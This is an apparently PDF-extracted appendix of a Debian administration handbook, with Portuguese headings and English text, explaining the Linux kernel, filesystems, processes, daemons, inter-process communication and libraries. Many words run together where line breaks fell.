B.3.3. O NúcleoBoth the BIOS and the bootloader onlyrun for a few seconds each; now we'regetting to the first piece of softwarethat runs for a longer time, theoperating system kernel. This kernel

assumes the role of a conductor in anorchestra, and ensures coordinationbetween hardware and software. Thisrole involves several tasks including:driving hardware, managing processes,users and permissions, the filesystem,and so on. The kernel provides acommon base to all other programs onthe system.

B.3.4. O Espaço deUsuárioAlthough everything that happensoutside of the kernel can be lumpedtogether under “user-space”, we can

still separate it into software layers.However, their interactions are morecomplex than before, and theclassifications may not be as simple.An application commonly useslibraries, which in turn involve thekernel, but the communications canalso involve other programs, or evenmany libraries calling each other.

B.4. AlgumasTarefasManejadas peloNúcleo

B.4.1. Controlando oHardwareThe kernel is, first and foremost,tasked with controlling the hardwareparts, detecting them, switching themon when the computer is powered on,

and so on. It also makes them availableto higher-level software with asimplified programming interface, soapplications can take advantage ofdevices without having to worry aboutdetails such as which extension slot theoption board is plugged into. Theprogramming interface also providesan abstraction layer; this allows video-conferencing software, for example, touse a webcam independently of itsmake and model. The software can justuse the Video for Linux (V4L)interface, and the kernel translates thefunction calls of this interface into theactual hardware commands needed bythe specific webcam in use.

The kernel exports many details aboutdetected hardware through the /proc/and /sys/ virtual filesystems. Severaltools summarize those details. Amongthem, lspci (in the pciutils package)lists PCI devices, lsusb (in the usbutilspackage) lists USB devices, andlspcmcia (in the pcmciautils package)lists PCMCIA cards. These tools arevery useful for identifying the exactmodel of a device. This identificationalso allows more precise searches onthe web, which in turn, lead to morerelevant documents.

Example B.1. Exemplo deinformação provida pelo lspci e lsusb

$ lspci

[...]

00:02.1 Display controller: Intel Corporation Mobile 915GM/GMS/910GML Express Graphics Controller (rev 03)

00:1c.0 PCI bridge: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) PCI Express Port 1 (rev 03)

00:1d.0 USB Controller: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB UHCI #1 (rev 03)

[...]

01:00.0 Ethernet controller: Broadcom Corporation NetXtreme BCM5751 Gigabit Ethernet PCI Express (rev 01)

02:03.0 Network controller: Intel Corporation PRO/Wireless 2200BG Network Connection (rev 05)

$ lsusb

Bus 005 Device 004: ID 413c:a005 Dell Computer Corp.

Bus 005 Device 008: ID 413c:9001 Dell Computer Corp.

Bus 005 Device 007: ID 045e:00dd Microsoft Corp.

Bus 005 Device 006: ID 046d:c03d Logitech, Inc.

[...]

Bus 002 Device 004: ID 413c:8103 Dell Computer Corp. Wireless 350 Bluetooth

These programs have a -v option, thatlists much more detailed (but usuallynot necessary) information. Finally, thelsdev command (in the procinfopackage) lists communication

resources used by devices.

Applications often access devices byway of special files created within/dev/ (see sidebar DE VOLTA AOBÁSICO Permissão de acesso adispositivos). These are special filesthat represent disk drives (for instance,/dev/hda and /dev/sdc), partitions(/dev/hda1 or /dev/sdc3), mice(/dev/input/mouse0), keyboards(/dev/input/event0), soundcards(/dev/snd/*), serial ports(/dev/ttyS*), and so on.

B.4.2. Sistema deArquivos

Filesystems are one of the mostprominent aspects of the kernel. Unixsystems merge all the file stores into asingle hierarchy, which allows users(and applications) to access datasimply by knowing its location withinthat hierarchy.

The starting point of this hierarchicaltree is called the root, /. This directorycan contain named subdirectories. Forinstance, the home subdirectory of / iscalled /home/. This subdirectory can,in turn, contain other subdirectories,and so on. Each directory can alsocontain files, where the actual data willbe stored. Thus, the/home/rmas/Desktop/hello.txt

name refers to a file named hello.txt

stored in the Desktop subdirectory ofthe rmas subdirectory of the homedirectory present in the root. Thekernel translates between this namingsystem and the actual, physical storageon a disk.

Unlike other systems, there's only onesuch hierarchy, and it can integratedata from several disks. One of thesedisks is used as the root, and the othersare “mounted” on directories in thehierarchy (the Unix command is calledmount); these other disks are thenavailable under these “mount points”.This allows storing users' homedirectories (traditionally stored within/home/) on a second hard disk, which

will contain rhertzog and rmasdirectories. Once the disk is mountedon /home/, these directories becomeaccessible at their usual locations, andpaths such as/home/rmas/Desktop/hello.txt keepworking.

There are many filesystems,corresponding to many ways ofphysically storing data on disks. Themost widely known are ext2, ext3 andext4, but others exist. For instance, vfatis the system that was historically usedby DOS and Windows operatingsystems, which allows using hard disksunder Debian as well as underWindows. In any case, a filesystem

must be prepared on a disk before itcan be mounted and this operation isknown as “formatting”. Commandssuch as mkfs.ext3 (where mkfs standsfor MaKe FileSystem) handleformatting. These commands require,as a parameter, a device filerepresenting the partition to beformatted (for instance, /dev/sda1).This operation is destructive andshould only be run once, except if onedeliberately wishes to wipe afilesystem and start afresh.

There are even network filesystems,such as NFS, where data is not storedon a local disk. Instead, data istransmitted through the network to a

server that stores and retrieves them ondemand. The filesystem abstractionshields users from having to care: filesremain accessible in their usualhierarchical way.

B.4.3. FunçõesCompartilhadasSince a number of the same functionsare used by all software, it makes senseto centralize them in the kernel. Forinstance, shared filesystem handlingallow any application to simply open afile by name, without needing to worrywhere the file is stored physically. The

file can be stored in several differentslices on a hard disk, or split acrossseveral hard disks, or even stored on aremote file server. Sharedcommunication functions, are used byapplications to exchange dataindependently of the way the data istransported. For instance, transportcould be over any combination of localor wireless networks, or over atelephone landline.

B.4.4. GerenciandoProcessosA process is a running instance of a

program. This requires memory tostore both the program itself and itsoperating data. The kernel is in chargeof creating and tracking them. When aprogram runs, first the kernel sets asidememory, then loads the executablecode from the filesystem into it, andthen starts the code running. It keepsinformation about this process, themost visible of which, is anidentification number known as pid(process identifier).

Unix-like kernels (including Linux),and like most other modern operatingsystems, are able of “multi-tasking”. Inother words, they allow running manyprocesses “at the same time”. There's

actually only one running process atany one time, but the kernel cuts timeinto small slices and runs each processin turn. Since these time slices are veryshort (in the millisecond range), theycreate the illusion of processes runningin parallel, although they're actuallyonly active during some time intervalsand idle the rest of the time. Thekernel's job is to adjust its schedulingmechanisms to keep that illusion, whilemaximizing the global systemperformance. If the time slices are toolong, the application may lack insnappiness and user interactivity. Tooshort, and the system loses timeswitching tasks too frequently. Thesedecisions can be tweaked with process

priorities. High-priority processes willrun for longer and more frequent timeslices than low-priority processes.

NOTA Sistemas multiprocessados (esuas variantes)

The restriction described here is only acorner case. The actual restriction is thatthere can only be one running process perprocessor core at a time. Multi-processor,multi-core or “hyper-threaded” systemsallow several processes to run in parallel.The same time-slicing system is still used,though, so as to handle cases where thereare more active processes than availableprocessor cores. This is the usual case: abasic system, even a mostly idle one,almost always has tens of runningprocesses.

Of course, the kernel allows runningseveral independent instances of thesame program. But each can onlyaccess its own time slices and memory.Their data thus remain independent.

B.4.5. Gerenciamentode DireitosUnix-like systems are also multi-user.They provide a rights managementsystem that allows separate groups andusers, and for choosing to permit orblock actions based on permissions.The kernel manages, for each process,

data allowing permission checking.Most of the time, this means theprocess' “identity” is the same as theuser that started it. And, the process isonly able to take user permittedactions. For instance, trying to open afile requires the kernel to check theprocess identity against accesspermissions (for more details on thisparticular example, see Section 9.3,“Gerenciando Direitos”).

B.5. O Espaço deUsuário“User-space” refers to the runtimeenvironment of normal (as opposed tokernel) processes. This does notnecessarily mean these processes areactually started by users because astandard system routinely has several“daemon” processes running before theuser even opens a session. Daemonprocesses are user-space processes.

B.5.1. Processo

When the kernel gets past itsinitialization phase, it starts the veryfirst process, init. Process #1 alone isvery rarely useful by itself, and Unix-like systems run with a whole lifecycleof processes.

First of all, a process can clone itself(this is known as a fork). The kernelallocates a new, but identical, processmemory space, and another process touse it. At this point in time, the onlydifference between these two processesis their pid. The new process iscustomarily called a child process, andthe process whose pid doesn't change,is called the parent process.

Sometimes, the child process continuesto lead its own life independently fromits parent, with its own data copiedfrom the parent process. In many cases,though, this child process executesanother program. With a fewexceptions, its memory is simplyreplaced by that of the new program,and execution of this new programbegins. One of the very first actions ofprocess number 1 thus is to duplicateitself (which means there are, for a tinyamount of time, two running copies ofthe same init process), but the childprocess is then replaced by the firstsystem initialization script, usually/etc/init.d/rcS. This script, in turn,clones itself and runs several other

programs. At some point, one processamong init's offspring starts agraphical interface for users to log in to(the actual sequence of events isdescribed in more details inSection 9.1, “Inicialização doSistema”).

When a process finishes the task forwhich it was started, it terminates. Thekernel then recovers the memoryassigned to this process, and stopsgiving it slices of running time. Theparent process is told about its childprocess being terminated, which allowsa process to wait for the completion ofa task it delegated to a child process.This behavior is plainly visible in

command-line interpreters (known asshells). When a command is typed intoa shell, the prompt only comes backwhen the execution of the command isover. Most shells allow for running thecommand in the background, it is asimple matter of adding an & to the endof the command. The prompt isdisplayed again right away, which canlead to problems if the command needsto display data of its own.

B.5.2. DaemonsA “daemon” is a process startedautomatically by the boot sequence. Itkeeps running (in the background) to

perform maintenance tasks or provideservices to other processes. This“background task” is actually arbitrary,and does not match anything particularfrom the system's point of view. Theyare simply processes, quite similar toother processes, which run in turn whentheir time slice comes. The distinctionis only in the human language: aprocess that runs with no interactionwith a user (in particular, without anygraphical interface) is said to berunning “in the background” or “as adaemon”.

VOCABULARY Daemon, demon, aderogatory term?

Although daemon term shares its Greeketymology with demon, the former doesnot imply diabolical evil, instead, itshould be understood as a kind-of helperspirit. This distinction is subtle enough inEnglish, but it's even worse in otherlanguages where the same word is usedfor both meanings.

Several such daemons are described indetail in Chapter 9, Serviços Unix.

B.5.3. ComunicaçãoInter ProcessosAn isolated process, whether a daemon

or an interactive application, is rarelyuseful on its own, which is why thereare several methods allowing separateprocesses to communicate together,either to exchange data or to controlone another. The generic term referringto this is inter-process communication,or IPC for short.

The simplest IPC system is to use files.The process that wishes to send datawrites it into a file (with a name knownin advance), while the recipient onlyhas to open the file and read itscontents.

In the case where one does not wish tostore data on disk, one can use a pipe,

which is simply an object with twoends; bytes written in one end, arereadable at the other. If the ends arecontrolled by separate processes, thisleads to a simple and convenient inter-process communication channel. Pipescan be classified into two categories:named pipes, and anonymous pipes. Anamed pipe is represented by an entryon the filesystem (although thetransmitted data is not stored there), soboth processes can open itindependently if the location of thenamed pipe is known beforehand. Incases where the communicatingprocesses are related (for instance, aparent and its child process), the parentprocess can also create an anonymous

pipe before forking, and the childinherits it. Both processes will then beable to exchange data through the pipewithout needing the filesystem.

NA PRÁTICA Um exemplo concreto

Let's describe in some detail whathappens when a complex command (apipeline) is run from a shell. We assumewe have a bash process (the standard usershell on Debian), with pid 4374; into thisshell, we type the command: ls | sort .

The shell first interprets the commandtyped in. In our case, it understands thereare two programs (ls and sort), with adata stream flowing from one to the other(denoted by the | character, known aspipe). bash first creates an unnamed pipe

(which initially exists only within thebash process itself).

Then the shell clones itself; this leads to anew bash process, with pid #4521 (pidsare abstract numbers, and generally haveno particular meaning). Process #4521inherits the pipe, which means it is able towrite in its “input” side; bash redirects itsstandard output stream to this pipe'sinput. Then it executes (and replacesitself with) the ls program, which lists thecontents of the current directory. Since lswrites on its standard output, and thisoutput has previously been redirected, theresults are effectively sent into the pipe.

A similar operation happens for thesecond command: bash clones itselfagain, leading to a new bash process withpid #4522. Since it is also a child process

of #4374, it also inherits the pipe; bashthen connects its standard input to thepipe output, then executes (and replacesitself with) the sort command, which sortsits input and displays the results.

All the pieces of the puzzle are now setup: ls writes the list of files in the currentdirectory into the pipe; sort reads this list,sorts it alphabetically, and displays theresults. Processes numbers #4521 and#4522 then terminate, and #4374 (whichwas waiting for them during theoperation), resumes control and displaysthe prompt to allow the user to type in anew command.

Not all inter-process communicationsare used to move data around though.

In many situations, the onlyinformation that needs to betransmitted are control messages suchas “pause execution” or “resumeexecution”. Unix (and Linux) providesa mechanism known as signals,through which a process can simplysend a signal (chosen within a fixed listof a few tens of predefined signals) toanother process. The only requirementis to know the pid of the target.

For more complex communications,there are also mechanisms allowing aprocess to open access, or share, part ofits allocated memory to otherprocesses. Memory then sharedbetween them, allows moving data

across.

Finally, network connections can alsohelp processes communicate; theseprocesses can even be running ondifferent computers, possiblythousands of kilometers apart.

It is quite standard for a typical Unix-like system to make use of all thesemechanisms to various degrees.

B.5.4. BibliotecasFunction libraries play a crucial role ina Unix-like operating system. They arenot proper programs, since they cannot

be executed on their own, butcollections of code fragments that canbe used by standard programs. Amongthe common libraries, you can find:

the standard C library (glibc),which contains basic functionssuch as ones to open files ornetwork connections, and othersfacilitating interactions with thekernel;graphical toolkits, such as Gtk+and Qt, allowing many programsto reuse the graphical objects theyprovide;the libpng library, that allowsloading, interpreting and savingimages in the PNG format.

Thanks to those libraries, applicationscan reuse existing code. Theirdevelopment is thus correspondinglysimplified, in particular when manyapplications reuse the same functions.Since libraries are often developed bydifferent persons, the globaldevelopment of the system is closer toUnix's historical philosophy.

CULTURA O Estilo Unix; uma coisa decada vez

One of the fundamental concepts thatunderlies the Unix family of operatingsystems is that each tool should only doone thing, and do it well; applications canthen reuse these tools to build moreadvanced logic on top. This Way can be

seen in many incarnations. Shell scriptsmay be the best example: they assemblecomplex sequences of very simple tools(such as grep, wc, sort, uniq and so on).Another implementation of thisphilosophy can be seen in code libraries:the libpng library allows reading andwriting PNG images, with differentoptions and in different ways, but it doesonly that; no question of includingfunctions that display or edit images.

Moreover, these libraries are oftenreferred to as “shared libraries”, sincethe kernel is able to only load theminto memory once, even if severalprocesses use the same library at thesame time. This allows savingmemory, when compared with the

opposite (hypothetical) situation wherethe code for a library would be loadedas many times as there are processesusing it.